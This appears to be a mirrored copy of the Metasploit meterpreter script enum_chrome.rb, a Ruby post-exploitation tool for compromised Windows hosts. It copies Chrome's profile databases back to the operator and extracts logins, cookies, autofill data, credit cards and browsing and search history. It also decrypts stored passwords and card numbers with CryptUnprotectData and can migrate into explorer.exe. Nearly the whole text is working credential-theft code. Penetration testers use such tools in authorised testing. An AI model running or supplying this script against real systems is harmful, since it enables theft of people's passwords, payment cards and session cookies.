Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

enum_chrome.rb 8.0KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. #
  7. # Script to extract data from a chrome installation.
  8. #
  9. # Author: Sven Taute <sven dot taute at gmail com>
  10. #
  11. require 'sqlite3'
  12. require 'yaml'
  13. if client.platform !~ /win32/
  14. print_error("This version of Meterpreter is not supported with this Script!")
  15. raise Rex::Script::Completed
  16. end
  17. @host_info = client.sys.config.sysinfo
  18. @chrome_files = [
  19. { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
  20. { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
  21. { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
  22. { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
  23. { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
  24. { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
  25. { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
  26. { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
  27. { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
  28. { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
  29. { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
  30. ]
  31. @migrate = false
  32. @old_pid = nil
  33. @output_format = []
  34. opts = Rex::Parser::Arguments.new(
  35. "-h" => [ false, "Help menu" ],
  36. "-m" => [ false, "Migrate into explorer.exe"],
  37. "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
  38. )
  39. opts.parse(args) { |opt, idx, val|
  40. case opt
  41. when "-m"
  42. @migrate = true
  43. when "-f"
  44. if val =~ /^j(son)?$/
  45. @output_format << "json"
  46. elsif val =~ /^y(aml)?$/
  47. @output_format << "yaml"
  48. elsif val =~ /^t(ext)?$/
  49. @output_format << "text"
  50. else
  51. print_error("unknown format '#{val}'.")
  52. raise Rex::Script::Completed
  53. end
  54. when "-h"
  55. print_line("")
  56. print_line("DESCRIPTION: Script for enumerating preferences and extracting")
  57. print_line("information from the Google Chrome Browser on a target system.")
  58. print_line("Decryption of creditcard information and passwords only supported")
  59. print_line("on 32bit Windows Operating Systems.")
  60. print_line("")
  61. print_line("USAGE: run enum_chrome [-m]")
  62. print_line(opts.usage)
  63. raise Rex::Script::Completed
  64. end
  65. }
  66. @output_format << "json" if @output_format.empty?
  67. if @output_format.include?("json")
  68. begin
  69. require 'json'
  70. rescue LoadError
  71. print_error("JSON is not available.")
  72. @output_format.delete("json")
  73. if @output_format.empty?
  74. print_status("Falling back to raw text output.")
  75. @output_format << "text"
  76. end
  77. end
  78. end
  79. print_status("using output format(s): " + @output_format.join(", "))
  80. def prepare_railgun
  81. rg = client.railgun
  82. if (!rg.get_dll('crypt32'))
  83. rg.add_dll('crypt32')
  84. end
  85. if (!rg.crypt32.functions["CryptUnprotectData"])
  86. rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
  87. ["PBLOB","pDataIn", "in"],
  88. ["PWCHAR", "szDataDescr", "out"],
  89. ["PBLOB", "pOptionalEntropy", "in"],
  90. ["PDWORD", "pvReserved", "in"],
  91. ["PBLOB", "pPromptStruct", "in"],
  92. ["DWORD", "dwFlags", "in"],
  93. ["PBLOB", "pDataOut", "out"]
  94. ])
  95. end
  96. end
  97. def decrypt_data(data)
  98. rg = client.railgun
  99. pid = client.sys.process.open.pid
  100. process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
  101. mem = process.memory.allocate(1024)
  102. process.memory.write(mem, data)
  103. addr = [mem].pack("V")
  104. len = [data.length].pack("V")
  105. ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
  106. len, addr = ret["pDataOut"].unpack("V2")
  107. return "" if len == 0
  108. decrypted = process.memory.read(addr, len)
  109. end
  110. def write_output(file, rows)
  111. if @output_format.include?("json")
  112. ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
  113. end
  114. if @output_format.include?("yaml")
  115. ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
  116. end
  117. if @output_format.include?("text")
  118. ::File.open(file + ".txt", "w") do |f|
  119. f.write(rows.first.keys.join("\t") + "\n")
  120. f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
  121. end
  122. end
  123. end
  124. def process_files(username)
  125. @chrome_files.each do |item|
  126. in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
  127. out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
  128. if item[:sql]
  129. db = SQLite3::Database.new(in_file)
  130. columns, *rows = db.execute2(item[:sql])
  131. db.close
  132. rows.map! do |row|
  133. res = Hash[*columns.zip(row).flatten]
  134. if item[:encrypted_fields] && !client.sys.config.is_system?
  135. if @host_info['Architecture'] !~ /x64/
  136. item[:encrypted_fields].each do |field|
  137. print_good("decrypting field '#{field}'...")
  138. res[field + "_decrypted"] = decrypt_data(res[field])
  139. end
  140. else
  141. print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
  142. end
  143. end
  144. res
  145. end
  146. if rows.length > 0
  147. print_status("writing output '#{item[:out_file]}'...")
  148. write_output(out_file, rows)
  149. else
  150. print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
  151. end
  152. else
  153. ::FileUtils.cp(in_file, out_file)
  154. end
  155. end
  156. end
  157. def extract_data(username)
  158. chrome_path = @profiles_path + "\\" + username + @data_path
  159. begin
  160. client.fs.file.stat(chrome_path)
  161. rescue
  162. print_status("no files found for user '#{username}'")
  163. return false
  164. end
  165. @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
  166. remote_path = chrome_path + '\\' + f
  167. local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
  168. print_status("downloading file #{f} to '#{local_path}'...")
  169. client.fs.file.download_file(local_path, remote_path)
  170. end
  171. return true
  172. end
  173. if @migrate
  174. current_pid = client.sys.process.open.pid
  175. target_pid = client.sys.process["explorer.exe"]
  176. if target_pid != current_pid
  177. @old_pid = current_pid
  178. print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
  179. client.core.migrate(target_pid)
  180. print_status("done.")
  181. end
  182. end
  183. host = session.session_host
  184. @log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
  185. ::FileUtils.mkdir_p(@log_dir)
  186. sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
  187. os = @host_info['OS']
  188. if os =~ /(Windows 7|2008|Vista)/
  189. @profiles_path = sysdrive + "\\Users\\"
  190. @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
  191. elsif os =~ /(2000|NET|XP)/
  192. @profiles_path = sysdrive + "\\Documents and Settings\\"
  193. @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
  194. end
  195. usernames = []
  196. uid = client.sys.config.getuid
  197. if is_system?
  198. print_status "running as SYSTEM, extracting user list..."
  199. print_status "(decryption of passwords and credit card numbers will not be possible)"
  200. client.fs.dir.foreach(@profiles_path) do |u|
  201. usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
  202. end
  203. print_status "users found: #{usernames.join(", ")}"
  204. else
  205. print_status "running as user '#{uid}'..."
  206. usernames << client.sys.config.getenv('USERNAME')
  207. prepare_railgun
  208. end
  209. usernames.each do |u|
  210. print_status("extracting data for user '#{u}'...")
  211. success = extract_data(u)
  212. process_files(u) if success
  213. end
  214. if @migrate && @old_pid
  215. print_status("migrating back into PID=#{@old_pid}...")
  216. client.core.migrate(@old_pid)
  217. print_status("done.")
  218. end
  219. raise Rex::Script::Completed